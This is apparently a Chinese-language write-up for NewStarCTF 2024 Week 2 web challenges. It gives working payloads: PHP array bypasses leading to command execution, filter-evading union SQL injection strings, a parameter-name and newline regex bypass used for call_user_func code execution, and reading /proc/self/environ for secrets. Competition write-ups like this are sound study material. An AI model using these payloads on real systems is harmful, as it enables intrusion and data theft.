NewStarCTF2024-Week2-Web-WP

发布于:2024-10-17 ⋅ 阅读:(7) ⋅ 点赞:(0)

目录

1、复读机

2、你能在一秒内打出八句英文吗

3、遗失的拉链

4、谢谢皮蛋 plus

5、PangBai 过家家(2)


1、复读机

测了下存在 ssti

没什么说的 fenjing 秒了

2、你能在一秒内打出八句英文吗

每次出来的需要提交的内容都不一样

exp:

import requests
from bs4 import BeautifulSoup

session = requests.Session()
response = session.get('http://eci-2ze1rtca1ihhekx6li2b.cloudeci1.ichunqiu.com/')
welcome_title = BeautifulSoup(response.content, 'html.parser').find('h1').text
print(f'欢迎信息: {welcome_title}')

text = BeautifulSoup(session.get('http://eci-2ze1rtca1ihhekx6li2b.cloudeci1.ichunqiu.com/start').content, 'html.parser').find('p', id='text').text
print(f'需要打字的文本: {text}')

submit_response = session.post('http://eci-2ze1rtca1ihhekx6li2b.cloudeci1.ichunqiu.com/submit', data={'user_input': text})
submit_soup = BeautifulSoup(submit_response.content, 'html.parser')

print(f'提交结果: {submit_soup.find("p").text}')
for idx, info in enumerate(submit_soup.find_all('p')):
    print(f'额外信息 {idx + 1}: {info.text}')

拿到 flag:flag{2db4250f-9572-48f9-83cc-0e7258fcbae7}

3、遗失的拉链

目录扫描存在备份文件

下载 www.zip

发现有一个名为 pizwww.php 的文件

查看

审一下 php 代码:

get 传入 new,post 传入 star,要求二者不相等并且 new 经过 sha1 加密要等于 star 经过 md5 加密,则可以 post 传入 cmd 命令进行调用,有一点正则的过滤,之后输出返回结果。

采用数组绕过,payload:

pizwww.php?new[]=1
post:star[]=2&cmd=system("ls");

读取根目录下的 flag:

pizwww.php?new[]=1
post:star[]=2&cmd=system("tac /f*");

拿到 flag:flag{a51581ea-3ec4-4fd8-a369-e239eeed1ab8}

4、谢谢皮蛋 plus

闭合点是双引号,空格被过滤了,采用内敛注释绕过

查数据库名:

0"/**/union/**/select/**/database(),1#

查表名:

0"/**/union/**/select/**/1,table_name/**/from/**/information_schema.tables/**/where/**/table_schema='ctf'#

查列名:

0"/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='ctf'/**/and/**/table_name='Fl4g'#

发现 and 也被过滤了

采用逻辑与绕过:

0"/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='ctf'/**/&&/**/table_name='Fl4g'#

想吐槽一下,列名都没改,过滤 and 的意义真不大。。。

用 week1 同样的 payload 就直接查出来了

查 flag:

0"/**/union/**/select/**/des,value/**/from/**/Fl4g#

拿到 flag:flag{12698df1-2813-478d-a464-75a50c823524

5、PangBai 过家家(2)

泄露的文件那就先目录扫描一下吧:

看到有 git 泄露

Githack 利用一下

下载到的文件似乎没什么

使用 git stash pop 将工作、暂存区的改动都恢复到工作区

发现如下地址:

BacKd0or.v2d23AOPpDfEW5Ca.php

访问

审一下代码:

主要就是满足:

if ($_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/', $_GET['NewStar_CTF.2024'])) {

PHP 的非法参数名传参,简单绕一下:

在 PHP8 之前,如果参数中出现中括号[,那么中括号会被转换成下划线_,但是会出现转换错误,导致如果参数名后面还存在非法字符,则不会继续转换成下划线。也就是说,我们可以刻意拼接中括号制造这种错误,来保留后面的非法字符不被替换,因为中括号导致只会替换一次。

顺便说下这里回溯绕过和数组绕过都是不行的,回溯一般用于匹配不到的情况,这里是要求匹配成功,其次我传了下服务器直接处理不了,数组的话也是一般用于匹配不到,因为 preg_match 处理不了数组会直接返回 false,显然这里需要的是返回 true。

采用  %0a 换行截断,payload:

BacKd0or.v2d23AOPpDfEW5Ca.php?NewStar[CTF.2024=Welcome%0a
Post:papa=TfflxoU0ry7c

之后就是对call_user_func的利用:

第一个传入想要调用的函数,第二个传入函数的参数

命令执行成功

但是没有看到什么敏感文件,读一下环境变量:

/BacKd0or.v2d23AOPpDfEW5Ca.php?NewStar[CTF.2024=Welcome%0a
Post:papa=TfflxoU0ry7c&func=system&args=cat /proc/self/environ

还是被我找到了吧 pangbai

flag{6768c05d-8837-4e44-a396-3d7d043f21bf}


网站公告

今日签到

点亮在社区的每一天
去签到